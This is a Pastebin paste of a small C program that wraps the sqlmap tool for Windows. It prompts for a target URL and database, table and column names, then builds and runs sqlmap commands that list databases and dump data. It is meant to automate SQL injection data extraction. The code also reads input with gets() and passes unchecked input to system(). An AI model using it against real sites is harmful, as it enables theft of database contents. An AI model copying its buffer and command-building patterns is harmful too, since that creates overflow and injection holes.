ajithkp560

SQLMAP Command Executor_Windows

Sep 22nd, 2012
446
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.40 KB | None | 0 0
  1. /*
  2. * Coded by Ajith Kp
  3. * Works In Windows
  4. * Compiled In Dev C++ With gcc compiler
  5. * Automated SQLMAP Command Executor
  6. * Just Input Data and enjoy
  7. * Jai Hind
  8. * Long Live Hindustan
  9. * WwW.Openfire-Security.Net [ToF]
  10. * wWw.SuckTheTech.BlogSpot.in [PerSonal]
  11. * WwW.CodingBrainStorm.BlogSpot.In [w3p]
  12. * Hope MaximuM SharE
  13. */
  14. #include <stdio.h>
  15. #include <string.h>
  16.  
  17. void url_in();
  18. void options();
  19. void dbs();
  20. void table();
  21. void column();
  22. void dump();
  23. void banner();
  24. void greets();
  25.  
  26.     char cmd[]="python ./sqlmap.py -u ";
  27.     char d[10]=" -D ";
  28.     char t[10]=" -T ";
  29.     char db[10]=" --dbs";
  30.     char tab[20]=" --tables";
  31.     char col[20]=" --columns";
  32.     char c[20]=" -C ";
  33.     char dum[20]=" --dump";
  34.     char url[50];
  35.  
  36.  
  37. main()
  38. {
  39.     banner();
  40.     url_in();
  41.     options();
  42.     getch();
  43. }
  44. void url_in()
  45. {
  46.     printf("\n\nInput URL: ");
  47.     gets(url);
  48. }
  49. void options()
  50. {
  51.     int option;
  52.     system("cls");
  53.     banner();
  54.     printf("\n\nSelect Your Option:\n ");
  55.     printf("\n\t1. DBS\n\t2. Tables\n\t3. Columns\n\t4. Dump Data\n\nInput Option[1,2,3,4]: ");
  56.     scanf("%d", &option);
  57.     switch(option)
  58.     {
  59.         case 1:
  60.             dbs();
  61.             break;
  62.         case 2:
  63.             table();
  64.             break;
  65.         case 3:
  66.             column();
  67.             break;
  68.         case 4:
  69.             dump();
  70.             break;
  71.         default:
  72.             printf("\nWrong Input Try again!");
  73.             greets();
  74.             break;
  75.     }
  76. }
  77.    
  78. void dbs()
  79. {
  80.     char pirr1[250]="";
  81.     system("cls");
  82.     banner();
  83.     strcat(pirr1, cmd);
  84.     strcat(pirr1, url);
  85.     strcat(pirr1,db);
  86.     printf("\n%s\n",pirr1);
  87.     system(pirr1);
  88.     getch();
  89. }
  90. void table()
  91. {
  92.     char pirr2[250]="";
  93.     char dbnamet[50];
  94.     system("cls");
  95.     banner();
  96.     printf("\nInput DB Name: ");
  97.     scanf("%s",dbnamet);
  98.     strcat(pirr2, cmd);
  99.     strcat(pirr2, url);
  100.     strcat(pirr2, d);
  101.     strcat(pirr2, dbnamet);
  102.     strcat(pirr2, tab);
  103.     printf("%s\n",pirr2);
  104.     system(pirr2);
  105.     printf("\n\nPress Enter To Explore Columns");
  106.     getch();
  107. }
  108. void column()
  109. {
  110.     char pirr3[250]="";
  111.     char dbnamec[50], tablenamec[50];
  112.     system("cls");
  113.     banner();
  114.     printf("\nInput DB Name: ");
  115.     scanf("%s",dbnamec);
  116.     printf("\nInput Table Name: ");
  117.     scanf("%s",tablenamec);
  118.     strcat(pirr3, cmd);
  119.     strcat(pirr3, url);
  120.     strcat(pirr3, d);
  121.     strcat(pirr3, dbnamec);
  122.     strcat(pirr3, t);
  123.     strcat(pirr3, tablenamec);
  124.     strcat(pirr3, col);
  125.     printf("%s\n",pirr3);
  126.     system(pirr3);
  127.     printf("\nPress Enter to Continue...");
  128.     getch();
  129. }
  130. void dump()
  131. {
  132.     char pirr4[250]="";
  133.     char dbnamed[50], tablenamed[50], columnnamed[50];
  134.     system("cls");
  135.     banner();
  136.     printf("\n\nInput DB Name: ");
  137.     scanf("%s",dbnamed);
  138.     printf("\nInput Table Name: ");
  139.     scanf("%s",tablenamed);
  140.     printf("\nInput Column Name: ");
  141.     scanf("%s",columnnamed);
  142.     strcat(pirr4,cmd);
  143.     strcat(pirr4,url);
  144.     strcat(pirr4,d);
  145.     strcat(pirr4,dbnamed);
  146.     strcat(pirr4,t);
  147.     strcat(pirr4,tablenamed);
  148.     strcat(pirr4,c);
  149.     strcat(pirr4,columnnamed);
  150.     strcat(pirr4,dum);
  151.     printf("%s\n",pirr4);
  152.     system(pirr4);
  153.     getch();
  154. }
  155. void greets()
  156. {
  157.     printf("\n\n\n\t\tAmsteck Arts & Science College, BCA Batch");
  158.     printf("\n\nCoded By\n\t Ajith Kp: www.facebook.com/ajithkp560");
  159.     printf("\n\tvisit: www.suckthetech.blogspot.in\n\twww.codingbrainstorm.blogspot.in [Ajmal Josh]");
  160.     printf("\n\tAjmal Josh: www.facebook.com/ajmal.josh");
  161.     printf("\n\tDheeraj KV: BCA");
  162.     printf("\n\tJhelai Sahadevan: BSc Physics");
  163.     printf("\n\tJithendra Singh: BSc Physics");
  164.     printf("\n...& All My friends from Amsteck and Team Open Fire");
  165.     printf("\n\n...Press Enter To Continue...");
  166.     getch();
  167. }
  168. void banner()
  169. {
  170.     printf("\n\t+---------------------------------------------------------------+");
  171.     printf("\n\t|coded by Ajith Kp           |           facebook.com/ajithkp560|");
  172.     printf("\n\t|www.suckthetech.blogspot.com | www.codingbrainstorm.blogpot.com|");
  173.     printf("\n\t| Dheeraj KV                                   Jhelai Sahadevan |");
  174.     printf("\n\t| Ajmal Joshi                                          Jitendra |");
  175.     printf("\n\t| TeamOpenFire: Coded32, Alex, John,S udeep & All other Members |");
  176.     printf("\n\t+---------------------------------------------------------------+");
  177. }
Advertisement
Add Comment
Please, Sign In to add comment